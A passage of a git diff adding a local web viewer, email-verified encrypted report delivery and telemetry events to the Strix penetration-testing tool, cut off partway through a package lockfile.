+strix/viewer/frontend/node_modules/ +strix/viewer/frontend/.vite/ + # Python __pycache__/ *.py[cod] *$py.class *.so .Python -build/ +# Anchored to the repo root: these are Python build-artifact dir names, but +# unanchored they also match nested source dirs (e.g. the viewer's src/lib). +/build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ -lib/ -lib64/ +/lib/ +/lib64/ parts/ sdist/ var/ @@ -46,7 +54,7 @@ pip-delete-this-directory.txt .env.production.local # MongoDB -data/ +/data/ mongod.log *.mongodb *.mongorc.js diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f14e5e36..20cb009a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -99,6 +99,20 @@ We welcome feature ideas! Please: - Consider implementation approach - Be open to discussion +## 🖥️ Local viewer SPA + +`strix view` serves a prebuilt web UI whose source lives in +`strix/viewer/frontend/` (a Vite + React project) and whose built output is +committed to `strix/viewer/static/` and shipped in the package. End users never +run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild +and commit the output: + +```bash +make viewer # or: cd strix/viewer/frontend && npm ci && npm run build +``` + +Commit both the source change and the regenerated `strix/viewer/static/`. + ## 🤝 Community - **Discord**: [Join our community](https://discord.gg/strix-ai) diff --git a/Makefile b/Makefile index faaade56..656c0346 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev +.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev viewer help: @echo "Available commands:" @@ -15,6 +15,7 @@ help: @echo "" @echo "Development:" @echo " pre-commit - Run pre-commit hooks on all files" + @echo " viewer - Rebuild the local-viewer SPA (commit the output)" @echo " clean - Clean up cache files and artifacts" install: @@ -66,5 +67,10 @@ clean: find . -name "*.pyc" -delete 2>/dev/null || true @echo "✅ Cleanup complete!" +viewer: + @echo "🖥️ Building the local-viewer SPA..." + cd strix/viewer/frontend && npm ci && npm run build + @echo "✅ Viewer built to strix/viewer/static/ (commit the changes)." + dev: format lint type-check @echo "✅ Development cycle complete!" diff --git a/README.md b/README.md index f436c754..2122d04b 100644 --- a/README.md +++ b/README.md @@ -145,6 +145,31 @@ Advanced multi-agent orchestration for comprehensive automated penetration testi --- +## 🖥️ Local Web Viewer + +Every scan writes its results to disk as it runs. Bring them up in a local dashboard with a single command: + +```bash +# Open the most recent run +strix view + +# ...or open a specific run by name +strix view my-run-name +``` + +`strix view` starts a lightweight local server (bound to `127.0.0.1` on a random port) and opens your browser to a private, tokened link. Nothing leaves your machine: the dashboard reads the run's files straight off disk, with no cloud account or upload required. The UI ships prebuilt with Strix, so there is no extra install and no JS build step. + +### What's in the dashboard + +- **Overview**: run status, target, and a severity breakdown of everything found so far. +- **Vulnerabilities**: each validated finding with its severity, details, and reproduction steps. +- **Agent graph**: a live map of the multi-agent team, showing which agent is doing what. +- **Steering**: send instructions to a live scan from the browser to redirect the agents mid-run. +- **History**: browse past runs on this machine and jump between them. +- **Reports**: generate a shareable report and email it to yourself or your team. + +--- + ## Usage Examples ### Basic Usage diff --git a/pyproject.toml b/pyproject.toml index 384773f4..3bc079a3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,6 +44,9 @@ dependencies = [ "requests>=2.32.0", "cvss>=3.2", "caido-sdk-client>=0.2.0", + "reportlab>=4.0", + "pypdf>=5.0", + "cryptography>=42", ] [project.optional-dependencies] @@ -74,6 +77,10 @@ build-backend = "hatchling.build" [tool.hatch.build.targets.wheel] packages = ["strix"] +# The prebuilt viewer bundle under strix/viewer/static/ ships automatically +# (hatchling includes non-.py files under the package). The Vite SOURCE lives +# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel. +exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"] # ============================================================================ # Type Checking Configuration @@ -111,6 +118,8 @@ module = [ "docker.*", "caido_sdk_client.*", "pydantic_settings.*", + "reportlab.*", + "pypdf.*", ] ignore_missing_imports = true disable_error_code = ["import-untyped"] @@ -201,6 +210,15 @@ ignore = [ ] [tool.ruff.lint.per-file-ignores] +# Test doubles use fixture tokens/passwords and match a callee signature whose +# args they intentionally ignore. +"tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"] +"tests/test_report_pdf.py" = ["S105", "S106"] +# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a +# circular dependency with strix.telemetry / strix.viewer.report_pdf. +"strix/viewer/server.py" = ["N802", "PLC0415"] +# Lazy telemetry import to avoid importing PostHog before the viewer starts. +"strix/viewer/cli.py" = ["PLC0415"] # Lazy imports inside functions to avoid circular dependency with # strix.telemetry / strix.report.dedupe / cvss. "strix/tools/notes/tools.py" = ["PLC0415", "TC002"] diff --git a/strix.spec b/strix.spec index 78aa35d4..7c94cca6 100644 --- a/strix.spec +++ b/strix.spec @@ -25,6 +25,13 @@ for tcss_file in strix_root.rglob('*.tcss'): rel_path = tcss_file.relative_to(project_root) datas.append((str(tcss_file), str(rel_path.parent))) +# Prebuilt local-viewer SPA (served by `strix view`). +viewer_static = strix_root / 'viewer' / 'static' +for asset in viewer_static.rglob('*'): + if asset.is_file(): + rel_path = asset.relative_to(project_root) + datas.append((str(asset), str(rel_path.parent))) + datas += collect_data_files('textual') datas += collect_data_files('tiktoken') @@ -151,6 +158,21 @@ hiddenimports = [ 'strix.report.dedupe', 'strix.report.state', 'strix.report.writer', + 'strix.viewer', + 'strix.viewer.auth', + 'strix.viewer.cli', + 'strix.viewer.report_pdf', + 'strix.viewer.server', + 'strix.viewer.transcript', + + # PDF report generation + encryption + 'reportlab', + 'reportlab.pdfgen', + 'reportlab.pdfbase', + 'reportlab.lib', + 'reportlab.platypus', + 'pypdf', + 'cryptography', 'strix.runtime', 'strix.runtime.backends', 'strix.runtime.caido_bootstrap', @@ -178,6 +200,16 @@ hiddenimports += collect_submodules('textual') hiddenimports += collect_submodules('rich') hiddenimports += collect_submodules('pydantic') hiddenimports += collect_submodules('pygments') +# reportlab loads renderers/fonts dynamically, so pull its whole tree in. +hiddenimports += collect_submodules('reportlab') + +# reportlab ships bundled fonts (.pfb/.afm) it needs at runtime. +datas += collect_data_files('reportlab') + +# reportlab imports PIL (pillow) lazily for image handling, so it must be +# bundled explicitly and kept out of the excludes list below. +hiddenimports += collect_submodules('PIL') +datas += collect_data_files('PIL') excludes = [ # Sandbox-only packages @@ -225,7 +257,6 @@ excludes = [ 'numpy', 'pandas', 'scipy', - 'PIL', 'cv2', ] diff --git a/strix/config/settings.py b/strix/config/settings.py index 84339218..8e480cb1 100644 --- a/strix/config/settings.py +++ b/strix/config/settings.py @@ -72,6 +72,15 @@ class IntegrationSettings(BaseSettings): perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY") +class ViewerSettings(BaseSettings): + model_config = _BASE_CONFIG + + # Base URL of the Strix relay the local viewer proxies to for email + # verification and encrypted report delivery. The browser never talks to + # the relay directly; the local server is the only caller. + app_url: str = Field(default="https://app.strix.ai", alias="STRIX_APP_URL") + + class Settings(BaseSettings): model_config = _BASE_CONFIG @@ -79,3 +88,4 @@ class Settings(BaseSettings): runtime: RuntimeSettings = Field(default_factory=RuntimeSettings) telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings) integrations: IntegrationSettings = Field(default_factory=IntegrationSettings) + viewer: ViewerSettings = Field(default_factory=ViewerSettings) diff --git a/strix/core/paths.py b/strix/core/paths.py index c8e21b73..2cd7ba0b 100644 --- a/strix/core/paths.py +++ b/strix/core/paths.py @@ -21,3 +21,20 @@ def runtime_state_dir(run_dir: Path) -> Path: def run_record_path(run_dir: Path) -> Path: return run_dir / RUN_RECORD_FILENAME + + +def runs_base_dir(*, cwd: Path | None = None) -> Path: + base = cwd or Path.cwd() + return base / RUNS_DIR_NAME + + +def latest_run_dir(*, cwd: Path | None = None) -> Path | None: + base = runs_base_dir(cwd=cwd) + if not base.is_dir(): + return None + candidates = [child for child in base.iterdir() if run_record_path(child).is_file()] + if not candidates: + return None + # run.json is rewritten on status/end changes, so its mtime tracks activity + # more reliably than the directory mtime (a live run sorts to the top). + return max(candidates, key=lambda child: run_record_path(child).stat().st_mtime) diff --git a/strix/interface/assets/tui_styles.tcss b/strix/interface/assets/tui_styles.tcss index d2984c8b..7e964dfa 100644 --- a/strix/interface/assets/tui_styles.tcss +++ b/strix/interface/assets/tui_styles.tcss @@ -67,6 +67,16 @@ Toast.-information .toast--title { display: none; } +#viewer_cta { + height: auto; + background: transparent; + border: round #333333; + color: #60a5fa; + padding: 0 1; + margin-bottom: 1; + text-align: center; +} + #agents_tree { height: 1fr; background: transparent; diff --git a/strix/interface/main.py b/strix/interface/main.py index 2403200d..e307d61c 100644 --- a/strix/interface/main.py +++ b/strix/interface/main.py @@ -7,6 +7,7 @@ import argparse import asyncio import shutil import sys +import time from datetime import UTC, datetime from pathlib import Path @@ -720,7 +721,9 @@ def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser args.scan_mode = persisted_scan_mode -def display_completion_message(args: argparse.Namespace, results_path: Path) -> None: +def display_completion_message( + args: argparse.Namespace, results_path: Path, web_url: str | None = None +) -> None: console = Console() report_state = get_global_report_state() @@ -759,6 +762,29 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) -> results_text.append(str(results_path), style="#60a5fa") panel_parts.extend(["\n", results_text]) + if web_url: + web_text = Text() + web_text.append("\n") + web_text.append("View in web", style="dim") + web_text.append(" ") + # OSC-8 hyperlink: clickable in modern terminals, falls back to the URL. + web_text.append(web_url, style=f"#60a5fa link {web_url}") + panel_parts.extend(["\n", web_text]) + + reopen_text = Text() + reopen_text.append("\n") + reopen_text.append("Reopen", style="dim") + reopen_text.append(" ") + reopen_text.append(f"strix view {args.run_name}", style="#22c55e") + panel_parts.extend(["\n", reopen_text]) + else: + view_text = Text() + view_text.append("\n") + view_text.append("View", style="dim") + view_text.append(" ") + view_text.append(f"strix view {args.run_name}", style="#22c55e") + panel_parts.extend(["\n", view_text]) + if not scan_completed: resume_text = Text() resume_text.append("\n") @@ -846,6 +872,14 @@ def main() -> None: if sys.platform == "win32": asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) + # `strix view []` is a viewer-only subcommand, dispatched before the + # scan argument parser (which requires a target) and before any scan setup. + if len(sys.argv) > 1 and sys.argv[1] == "view": + from strix.viewer.cli import run_view + + run_view(sys.argv[2:]) + return + args = parse_arguments() if args.config: @@ -940,7 +974,40 @@ def main() -> None: scarf.end(report_state, exit_reason=exit_reason) results_path = run_dir_for(args.run_name) - display_completion_message(args, results_path) + + # For an interactive run, host the local viewer so the completion panel can + # show a clickable "View in web" link. Skipped in non-interactive/CI runs + # (no TTY to serve and it would block the process). + viewer_httpd = None + web_url = None + if not args.non_interactive and sys.stdout.isatty(): + from strix.viewer.server import authorized_url, bundle_is_built, serve + + if bundle_is_built(): + try: + viewer_httpd, base_url, token = serve(results_path, open_browser=False) + # The completion panel's "View in web" link must authorize the + # browser, so hand it the tokened URL rather than the bare host. + web_url = authorized_url(base_url, token) + posthog.viewer_opened(source="post_scan", live=False) + except Exception: + logger.debug("could not start local viewer", exc_info=True) + viewer_httpd, web_url = None, None + + display_completion_message(args, results_path, web_url=web_url) + + if viewer_httpd is not None: + console = Console() + console.print("[dim]Hosting the local viewer. Press Ctrl-C to stop.[/]") + console.print() + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + console.print("\n[dim]Viewer stopped.[/]") + finally: + viewer_httpd.shutdown() + viewer_httpd.server_close() if args.non_interactive: report_state = get_global_report_state() diff --git a/strix/interface/tui/app.py b/strix/interface/tui/app.py index 73a7ec0d..5f350898 100644 --- a/strix/interface/tui/app.py +++ b/strix/interface/tui/app.py @@ -6,6 +6,7 @@ import logging import signal import sys import threading +import webbrowser from collections.abc import Callable from importlib.metadata import PackageNotFoundError from importlib.metadata import version as pkg_version @@ -768,6 +769,7 @@ class StrixTUIApp(App): # type: ignore[misc] Binding("ctrl+q", "request_quit", "Quit", priority=True), Binding("ctrl+c", "request_quit", "Quit", priority=True), Binding("escape", "stop_selected_agent", "Stop Agent", priority=True), + Binding("ctrl+o", "open_viewer", "Open Viewer", priority=True), ] def __init__(self, args: argparse.Namespace): @@ -794,6 +796,8 @@ class StrixTUIApp(App): # type: ignore[misc] self._displayed_events: list[str] = [] self._scan_thread: threading.Thread | None = None + self._viewer_httpd: Any = None + self._viewer_url: str | None = None self._scan_loop: asyncio.AbstractEventLoop | None = None self._scan_stop_event = threading.Event() self._scan_completed = threading.Event() @@ -903,7 +907,12 @@ class StrixTUIApp(App): # type: ignore[misc] vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel") - sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar") + viewer_cta = Static(self._viewer_cta_markup(), id="viewer_cta") + viewer_cta.ALLOW_SELECT = False + + sidebar = Vertical( + viewer_cta, agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar" + ) content_container.mount(chat_area_container) content_container.mount(sidebar) @@ -1805,6 +1814,7 @@ class StrixTUIApp(App): # type: ignore[misc] async def action_custom_quit(self) -> None: self._fire_sandbox_cleanup() + self._shutdown_viewer() if self._scan_thread and self._scan_thread.is_alive(): self._scan_stop_event.set() @@ -1813,6 +1823,70 @@ class StrixTUIApp(App): # type: ignore[misc] self.exit() + def _viewer_cta_markup(self, url: str | None = None) -> str: + if url: + return f"[@click=app.open_viewer][#22c55e]● Viewer running[/][/]\n[dim]{url}[/]" + return "[@click=app.open_viewer]▶ Watch live in browser[/]" + + def _set_viewer_cta(self, markup: str) -> None: + with contextlib.suppress(Exception): + self.query_one("#viewer_cta", Static).update(markup) + + def action_open_viewer(self) -> None: + if self._viewer_url: + with contextlib.suppress(Exception): + webbrowser.open(self._viewer_url) + return + try: + from strix.viewer.server import authorized_url, bundle_is_built, serve + + if not bundle_is_built(): + self._set_viewer_cta("[#eab308]Viewer UI not built[/]") + return + run_dir = self.report_state.get_run_dir() + + def _viewer_steer(agent_id: str, message: str) -> bool: + # Reuse the exact TUI delivery path, but target the agent the + # web graph selected (not the TUI's current selection). + return send_user_message_to_agent( + coordinator=self.coordinator, + loop=self._scan_loop, + live_view=self.live_view, + target_agent_id=agent_id, + message=message, + ) + + httpd, url, token = serve(run_dir, open_browser=True, steer_handler=_viewer_steer) + except Exception: + logger.debug("failed to start local viewer", exc_info=True) + self._set_viewer_cta("[red]Viewer failed to start[/]") + return + self._viewer_httpd = httpd + # Store the tokened URL so reopening the CTA re-authorizes the browser + # (this viewer carries a steer handler, so the session is required). + self._viewer_url = authorized_url(url, token) + self._set_viewer_cta(self._viewer_cta_markup(self._viewer_url)) + + with contextlib.suppress(Exception): + from strix.telemetry import posthog + + live = self.report_state.run_record.get("status") not in { + "completed", + "stopped", + "failed", + "interrupted", + } + posthog.viewer_opened(source="tui", live=live) + + def _shutdown_viewer(self) -> None: + httpd = self._viewer_httpd + if httpd is None: + return + self._viewer_httpd = None + with contextlib.suppress(Exception): + httpd.shutdown() + httpd.server_close() + def _fire_sandbox_cleanup(self) -> None: self.coordinator.mark_shutting_down() loop = self._scan_loop diff --git a/strix/interface/tui/history.py b/strix/interface/tui/history.py index 1598b1a3..999ca08c 100644 --- a/strix/interface/tui/history.py +++ b/strix/interface/tui/history.py @@ -24,14 +24,26 @@ def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[ if not agents_db.exists() or not session_ids: return [] session_id_set = set(session_ids) + # Open read-only: the scan process may be actively writing this WAL database + # from another process (the local viewer tails it live), and a reader must + # never lock or mutate it. mode=ro (not immutable=1) still reads the latest + # committed WAL state; WAL permits concurrent readers alongside the writer. + conn: sqlite3.Connection | None = None try: - with sqlite3.connect(agents_db) as conn: - rows = conn.execute( - "select id, session_id, message_data, created_at from agent_messages order by id" - ).fetchall() + conn = sqlite3.connect( + f"file:{agents_db}?mode=ro", + uri=True, + check_same_thread=False, + ) + rows = conn.execute( + "select id, session_id, message_data, created_at from agent_messages order by id" + ).fetchall() except sqlite3.Error: logger.exception("Failed to hydrate TUI history from %s", agents_db) return [] + finally: + if conn is not None: + conn.close() items: list[tuple[str, dict[str, Any], str]] = [] for row_id, agent_id, message_data, created_at in rows: diff --git a/strix/telemetry/posthog.py b/strix/telemetry/posthog.py index e2da6282..ef3c8d4f 100644 --- a/strix/telemetry/posthog.py +++ b/strix/telemetry/posthog.py @@ -142,6 +142,44 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None: ) +def viewer_opened(source: str, live: bool) -> None: + _send( + "viewer_opened", + { + **base_props(), + "source": source, + "live": live, + }, + ) + + +def viewer_cta_clicked(cta: str, surface: str | None = None) -> None: + props = { + **base_props(), + "cta": cta[:64], + } + if surface: + props["surface"] = surface[:64] + _send("viewer_cta_clicked", props) + + +_VIEWER_EMAIL_STEPS = frozenset( + {"email_submitted", "email_verified", "report_sent", "work_email_required"} +) + + +def viewer_email_event(step: str, purpose: str | None = None) -> None: + if step not in _VIEWER_EMAIL_STEPS: + return + _send( + f"viewer_{step}", + { + **base_props(), + **({"purpose": purpose} if purpose else {}), + }, + ) + + def error(error_type: str) -> None: props = {**base_props(), "error_type": error_type} _send("error", props) diff --git a/strix/viewer/__init__.py b/strix/viewer/__init__.py new file mode 100644 index 00000000..5a0842a7 --- /dev/null +++ b/strix/viewer/__init__.py @@ -0,0 +1,12 @@ +"""Local web viewer for Strix runs. + +Serves a prebuilt single-page app that renders a run (live or finished) read +directly from the run's on-disk files. No cloud dependency, no file picker. +""" + +from __future__ import annotations + +from strix.viewer.server import serve + + +__all__ = ["serve"] diff --git a/strix/viewer/auth.py b/strix/viewer/auth.py new file mode 100644 index 00000000..1c7c5fef --- /dev/null +++ b/strix/viewer/auth.py @@ -0,0 +1,251 @@ +"""Viewer email verification state and the relay client. + +The local viewer proxies email verification and encrypted-report delivery to +the Strix relay (``STRIX_APP_URL``). The browser never talks to the relay +directly, and the report password generated locally is never sent to it. + +State lives in ``~/.strix/viewer-auth.json`` (0600). ``is_verified`` is a local +flag that unlocks browsing the run history list; the relay still enforces token +expiry when a report is actually sent. +""" + +from __future__ import annotations + +import base64 +import contextlib +import json +import logging +import urllib.error +import urllib.request +from datetime import UTC, datetime +from pathlib import Path +from typing import Any + +from strix.config.loader import load_settings + + +logger = logging.getLogger(__name__) + +AUTH_PATH = Path.home() / ".strix" / "viewer-auth.json" + +_OTP_TIMEOUT = 15 +_SEND_TIMEOUT = 30 + + +class RelayError(Exception): + """A relay call failed. ``code`` is a stable, machine-readable reason.""" + + def __init__(self, code: str, message: str | None = None) -> None: + self.code = code + super().__init__(message or code) + + +# --- local state ------------------------------------------------------------ + + +def read_auth() -> dict[str, Any] | None: + """Return the stored ``{email, token, verified_at}`` record, or None.""" + try: + data = json.loads(AUTH_PATH.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError): + return None + if not isinstance(data, dict): + return None + email = data.get("email") + token = data.get("token") + if not isinstance(email, str) or not email or not isinstance(token, str) or not token: + return None + return data + + +def parse_expiry(raw: object) -> datetime | None: + """Parse a relay ``expires_at`` value into an aware UTC datetime. + + Accepts both ISO 8601 strings and epoch seconds (as a number or numeric + string) so a valid relay expiry is not misread as missing. Returns None only + when it is genuinely absent or unparseable; both the local gate (see + ``is_verified``) and OTP verification (see ``otp_verify``) fail closed on such + values, matching the relay, which rejects a token with no valid expiry. + """ + if isinstance(raw, bool): + return None + if isinstance(raw, int | float): + return _from_epoch(raw) + if not isinstance(raw, str) or not raw: + return None + try: + return _from_epoch(float(raw)) + except ValueError: + pass + try: + parsed = datetime.fromisoformat(raw.replace("Z", "+00:00")) + except ValueError: + return None + return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC) + + +def _expiry(record: dict[str, Any]) -> datetime | None: + """The stored ``verified_at`` parsed to a datetime, or None if unusable.""" + return parse_expiry(record.get("verified_at")) + + +def _from_epoch(seconds: float) -> datetime | None: + """Epoch seconds → aware UTC datetime, or None if out of range.""" + try: + return datetime.fromtimestamp(seconds, tz=UTC) + except (OverflowError, OSError, ValueError): + return None + + +def is_verified() -> bool: + """True when a usable email + token record with a valid future expiry exists. + + The expiry returned by OTP verification is enforced here so history stops + unlocking once the token lapses. It fails closed: a record whose expiry is + absent, blank, or unparseable requires re-verification rather than unlocking + forever, keeping the local gate in step with the relay (which rejects an + expired token on report send). + """ + record = read_auth() + if record is None: + return False + expiry = _expiry(record) + return expiry is not None and expiry > datetime.now(UTC) + + +def write_auth(email: str, token: str, verified_at: str) -> None: + """Atomically persist the auth record with 0600 permissions.""" + AUTH_PATH.parent.mkdir(parents=True, exist_ok=True) + payload = json.dumps({"email": email, "token": token, "verified_at": verified_at}) + tmp = AUTH_PATH.with_suffix(".json.tmp") + tmp.write_text(payload, encoding="utf-8") + with contextlib.suppress(OSError): + tmp.chmod(0o600) + tmp.replace(AUTH_PATH) + with contextlib.suppress(OSError): + AUTH_PATH.chmod(0o600) + + +def forget() -> None: + """Delete the stored auth record. No-op if it is absent.""" + with contextlib.suppress(OSError): + AUTH_PATH.unlink() + + +# --- relay client ----------------------------------------------------------- + + +def _app_url() -> str: + return load_settings().viewer.app_url.rstrip("/") + + +def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]: + """POST JSON to the relay. Returns (status, parsed body). + + Raises RelayError("unavailable") for network/transport failures. HTTP + error responses (4xx/5xx) are returned as (status, body) for the caller to + map, not raised. + """ + url = f"{_app_url()}{path}" + body = json.dumps(payload).encode("utf-8") + request = urllib.request.Request( # noqa: S310 - fixed https relay URL + url, + data=body, + headers={"Content-Type": "application/json", "Accept": "application/json"}, + method="POST", + ) + try: + with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310 + return response.status, _parse_body(response.read()) + except urllib.error.HTTPError as exc: + return exc.code, _parse_body(exc.read()) + except (urllib.error.URLError, TimeoutError, OSError) as exc: + logger.warning("relay request to %s failed: %s", path, exc) + raise RelayError("unavailable") from exc + + +def _parse_body(raw: bytes) -> dict[str, Any]: + try: + data = json.loads(raw or b"{}") + except json.JSONDecodeError: + return {} + return data if isinstance(data, dict) else {} + + +def otp_start(email: str) -> None: + """Ask the relay to email a verification code. Raises RelayError on failure.""" + status, data = _post_json("/api/oss/otp/start", {"email": email}, timeout=_OTP_TIMEOUT) + if status == 200: + return + if status == 429: + raise RelayError("rate_limited") + if status == 400: + # The relay uses 400 both for a malformed address and, separately, to + # reject a free/personal email domain (it wants a work email). + if data.get("error") == "work_email_required": + raise RelayError("work_email_required") + raise RelayError("invalid_email") + raise RelayError("unavailable") + + +def otp_verify(email: str, code: str) -> dict[str, Any]: + """Verify a code. Returns ``{token, email, expires_at}`` or raises RelayError.""" + status, data = _post_json( + "/api/oss/otp/verify", + {"email": email, "code": code}, + timeout=_OTP_TIMEOUT, + ) + if status == 200 and isinstance(data.get("token"), str): + # A token with no usable expiry cannot unlock history locally (the gate + # fails closed), so treat such a response as a failed verification rather + # than reporting success and then leaving the user stuck unverified. + if parse_expiry(data.get("expires_at")) is None: + raise RelayError("unavailable") + return data + if status == 403: + raise RelayError("invalid_code") + raise RelayError("unavailable") + + +def report_send( + token: str, + pdf_bytes: bytes, + filename: str, + run_name: str, + target: str, +) -> None: + """Forward the encrypted PDF to the relay for delivery. + + The report password is NEVER part of this payload; only the encrypted PDF + bytes travel to the relay. + """ + payload = { + "token": token, + "pdf_base64": base64.b64encode(pdf_bytes).decode("ascii"), + "filename": filename, + "run_name": run_name, + "target": target, + } + status, _ = _post_json("/api/oss/report/send", payload, timeout=_SEND_TIMEOUT) + if status == 200: + return + if status == 401: + raise RelayError("reverify") + if status == 413: + raise RelayError("too_large") + if status == 403: + raise RelayError("forbidden") + raise RelayError("unavailable") + + +__all__ = [ + "AUTH_PATH", + "RelayError", + "forget", + "is_verified", + "otp_start", + "otp_verify", + "read_auth", + "report_send", + "write_auth", +] diff --git a/strix/viewer/cli.py b/strix/viewer/cli.py new file mode 100644 index 00000000..4a3f4d22 --- /dev/null +++ b/strix/viewer/cli.py @@ -0,0 +1,142 @@ +"""`strix view []` command: serve a run's viewer UI locally.""" + +from __future__ import annotations + +import argparse +import logging +import time +from typing import TYPE_CHECKING + +from rich.console import Console + +from strix.core.paths import ( + RUNS_DIR_NAME, + latest_run_dir, + run_dir_for, + run_record_path, + runs_base_dir, +) +from strix.viewer.server import authorized_url, bundle_is_built, serve +from strix.viewer.transcript import read_run_summary + + +if TYPE_CHECKING: + from pathlib import Path + from typing import NoReturn + + +logger = logging.getLogger(__name__) + + +def run_view(argv: list[str]) -> None: + parser = argparse.ArgumentParser( + prog="strix view", + description="Open a local web view of a Strix run (live or finished).", + ) + parser.add_argument( + "run", + nargs="?", + default=None, + help=f"Run name under ./{RUNS_DIR_NAME} (defaults to the most recent run).", + ) + parser.add_argument( + "--port", + type=int, + default=0, + help="Port to serve on (default: an available ephemeral port).", + ) + parser.add_argument("--host", default="127.0.0.1", help=argparse.SUPPRESS) + parser.add_argument( + "--no-open", + action="store_true", + help="Do not open the browser automatically.", + ) + args = parser.parse_args(argv) + + console = Console() + + if not bundle_is_built(): + console.print( + "[bold red]Viewer UI is not built.[/]\n" + "Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]" + ) + raise SystemExit(1) + + run_dir = _resolve_run_dir(args.run, console) + + httpd, url, token = serve( + run_dir, + host=args.host, + port=args.port, + open_browser=not args.no_open, + ) + # The tokened URL is what authorizes the browser (steering, report sending, + # history). Print it rather than the bare URL so the operator -- and only + # the operator -- can open or share an authorized link. + open_url = authorized_url(url, token) + + run_name = run_dir.name + summary = read_run_summary(run_dir) + live = not summary.get("finished", False) + + from strix.telemetry import posthog + + posthog.viewer_opened(source="cli", live=live) + + state_label = "[#eab308]live[/]" if live else "[#22c55e]finished[/]" + console.print() + console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at:") + # Print the URL alone on its own line with soft_wrap so Rich never inserts a + # wrap into the (long, tokened) link -- that keeps it selectable/copyable. + console.print(f" [#60a5fa]{open_url}[/]", soft_wrap=True) + console.print("[dim]This link authorizes the browser; anyone you share it with can steer[/]") + console.print("[dim]a live scan and browse history. Press Ctrl-C to stop the viewer.[/]") + console.print() + + try: + while True: + time.sleep(1.0) + except KeyboardInterrupt: + console.print("\n[dim]Viewer stopped.[/]") + finally: + httpd.shutdown() + httpd.server_close() + + +def _resolve_run_dir(run: str | None, console: Console) -> Path: + if run: + run_dir = run_dir_for(run) + if not run_record_path(run_dir).is_file(): + _fail_no_run(console, requested=run) + return run_dir + + latest = latest_run_dir() + if latest is None: + _fail_no_run(console, requested=None) + return latest + + +def _fail_no_run(console: Console, *, requested: str | None) -> NoReturn: + base = runs_base_dir() + available = ( + sorted( + (child.name for child in base.iterdir() if run_record_path(child).is_file()), + reverse=True, + ) + if base.is_dir() + else [] + ) + + if requested: + console.print(f"[bold red]No run named '{requested}' under ./{RUNS_DIR_NAME}.[/]") + else: + console.print(f"[bold red]No runs found under ./{RUNS_DIR_NAME}.[/]") + + if available: + console.print("Available runs:") + for name in available[:20]: + console.print(f" [cyan]{name}[/]") + raise SystemExit(1) + + +__all__ = ["run_view"] diff --git a/strix/viewer/frontend/index.html b/strix/viewer/frontend/index.html new file mode 100644 index 00000000..dba7938a --- /dev/null +++ b/strix/viewer/frontend/index.html @@ -0,0 +1,14 @@ + + + + + + + + Strix Results + + +
+ + + diff --git a/strix/viewer/frontend/package-lock.json b/strix/viewer/frontend/package-lock.json new file mode 100644 index 00000000..1c74cd0c --- /dev/null +++ b/strix/viewer/frontend/package-lock.json @@ -0,0 +1,4272 @@ +{ + "name": "strix-viewer", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "strix-viewer", + "version": "0.0.0", + "dependencies": { + "@dagrejs/dagre": "^2.0.4", + "@xyflow/react": "^12.10.1", + "clsx": "^2.1.1", + "diff": "^8.0.3", + "highlight.js": "^11.11.1", + "lucide-react": "^0.563.0", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "react-markdown": "^10.1.0", + "remark-gfm": "^4.0.1", + "tailwind-merge": "^3.4.0" + }, + "devDependencies": { + "@tailwindcss/vite": "^4.1.0", + "@types/diff": "^7.0.2", + "@types/react": "^19.2.0", + "@types/react-dom": "^19.2.0", + "@vitejs/plugin-react": "^5.0.0", + "tailwindcss": "^4.1.0", + "typescript": "^5.6.0", + "vite": "^6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": 